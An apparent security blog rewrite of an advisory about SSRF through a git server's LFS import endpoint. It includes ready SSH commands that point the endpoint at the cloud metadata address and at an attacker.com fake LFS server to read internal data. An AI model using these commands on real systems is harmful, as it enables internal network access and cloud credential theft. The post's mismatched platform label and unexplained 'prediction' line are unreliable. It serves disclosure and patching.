Listen to this Post
The vulnerability allows an authenticated SSH user to perform Server-Side Request Forgery (SSRF) via the LFS import functionality. When importing a repository with the `–lfs-endpoint` flag, the provided URL is passed directly into the code without any validation. In pkg/backend/repo.go, this endpoint overrides the remote URL and is used to create an LFS client. The LFS client in `pkg/lfs/http_client.go` uses http.DefaultClient, which has no SSRF protections—no IP filtering, no redirect blocking, and no DNS rebounding checks. The server sends a POST request to <endpoint>/objects/batch. If the endpoint points to an internal service (e.g., cloud metadata), the request is sent but the response fails JSON parsing, resulting in a blind SSRF. However, if the attacker hosts a fake LFS server, it can return a valid batch response containing download URLs pointing to internal targets. The `BasicTransferAdapter` then uses `http.DefaultClient` to fetch those URLs, and the responses are stored as LFS objects on disk. Since the attacker created the repository, they can retrieve these objects via the normal LFS download API. Additionally, if the import is done with --mirror, the `lfs.url` is persisted in the repository’s git config, causing the mirror sync job to repeatedly trigger the SSRF. The vulnerability is present from v0.6.0 (when `–lfs-endpoint` was introduced) to the latest v0.11.3+ and is not fixed by the previous webhook SSRF patch (GHSA-vwq2-jx9q-9h9f). The impact includes port scanning, cloud metadata credential theft, internal API access, and persistence through mirror syncs. The fix involves reusing the secure HTTP client from webhooks with IP validation at dial time and blocking redirects, as well as validating the endpoint URL at input.
Platform: Gitea
Version: 0.6.0 to 0.11.3+
Vulnerability: SSRF via LFS import
Severity: Critical
date: 2024-04-01
Prediction: Within 2 weeks
What Undercode Say:
Bash Commands and Codes:
Blind SSRF test ssh -p 23231 localhost repo import ssrf-test https://github.com/user/lfs-repo --lfs --lfs-endpoint http://169.254.169.254/latest/meta-data/ Chained SSRF to read internal responses via fake LFS server 1. Set up a fake LFS server at attacker.com that responds to POST /objects/batch with a batch response containing download URLs pointing to internal targets. 2. Import with that endpoint: ssh -p 23231 localhost repo import ssrf-chain https://github.com/user/lfs-repo --lfs --lfs-endpoint http://attacker.com/fake-lfs/
How Exploit:
- Authenticated SSH user runs `repo import` with `–lfs-endpoint` pointing to attacker-controlled server.
- Server sends batch request to attacker; attacker responds with batch containing internal download URLs.
- Server fetches internal URLs using `http.DefaultClient` and stores responses as LFS objects.
- Attacker retrieves LFS objects via normal LFS API, revealing internal data.
Protection from this CVE:
- Apply fix: Replace `http.DefaultClient` with secure client using IP validation and redirect blocking.
- Validate `–lfs-endpoint` URL at input using same checks as webhook URLs.
- Disable LFS if not needed, or restrict SSH access.
- Monitor for unexpected LFS imports with internal endpoints.
Impact:
- Blind SSRF to internal networks and cloud metadata.
- Full read access to internal services via chained attack.
- Persistence via mirror syncs causing repeated SSRF.
- Credential theft from cloud metadata services.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
